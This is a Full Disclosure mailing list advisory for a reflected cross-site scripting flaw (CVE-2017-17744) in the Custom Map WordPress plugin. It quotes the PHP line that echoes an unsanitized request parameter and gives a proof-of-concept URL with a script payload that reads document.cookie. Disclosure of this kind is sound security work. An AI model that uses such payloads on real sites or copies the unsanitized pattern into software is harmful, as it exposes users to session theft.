full-disclosure - [FD] [CVE-2017-17744] Cross-Site Scripting (XSS) vulnerability in Custom Map WordPress Plugin

Open Source and information security mailing list archives

Date: Tue, 19 Dec 2017 17:04:59 +0000
From: <nicolas.buzy-debat@...nge.com>
To: "fulldisclosure@...lists.org" <fulldisclosure@...lists.org>
Subject: [FD] [CVE-2017-17744] Cross-Site Scripting (XSS) vulnerability in
 Custom Map WordPress Plugin

Product: Custom Map WordPress Plugin - https://wordpress.org/plugins/custom-map/
Vendor: webdesi9
Tested version: 1.1
CVE ID: CVE-2017-17744

** CVE description **
A cross-site scripting (XSS) vulnerability in the custom-map plugin through 1.1 for WordPress allows remote attackers to inject arbitrary web script or HTML via the map_id parameter to view/advancedsettings.php.

** Technical details **
In custom-map/view/advancedsettings.php:9, $_REQUEST['map_id'] is directly echoed back to user without proper sanitization.

Vulnerable code:
if(isset($_REQUEST['map_id']))
{
echo $map_id=$_REQUEST['map_id'];

https://plugins.trac.wordpress.org/browser/custom-map/trunk/view/advancedsettings.php#L9

** Proof of Concept **
http://<host>/wordpress/wp-admin/admin.php?page=custom_maps_advanced_settings&map_id=<script>alert(document.cookie);</script>

** Solution **
No fix available yet.

** Timeline **
13/10/2017: vendor contacted through webform; no reply
17/10/2017: vendor contacted through webform; no reply
31/10/2017: vendor contacted through support@...desi9.com; no reply
05/12/2017: vendor contacted through support@...desi9.com; no reply
19/12/2017: report published

** Credits **
Vulnerability discovered by Nicolas Buzy-Debat working at Orange Cyberdefense Singapore (CERT-LEXSI).

--
Best Regards,

Nicolas Buzy-Debat
Orange Cyberdefense Singapore (CERT-LEXSI)

_________________________________________________________________________________________________________________________

Ce message et ses pieces jointes peuvent contenir des informations confidentielles ou privilegiees et ne doivent donc
pas etre diffuses, exploites ou copies sans autorisation. Si vous avez recu ce message par erreur, veuillez le signaler
a l'expediteur et le detruire ainsi que les pieces jointes. Les messages electroniques etant susceptibles d'alteration,
Orange decline toute responsabilite si ce message a ete altere, deforme ou falsifie. Merci.

This message and its attachments may contain confidential or privileged information that may be protected by law;
they should not be distributed, used or copied without authorisation.
If you have received this email in error, please notify the sender and delete this message and its attachments.
As emails may be altered, Orange is not liable for messages that have been modified, changed or falsified.
Thank you.

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives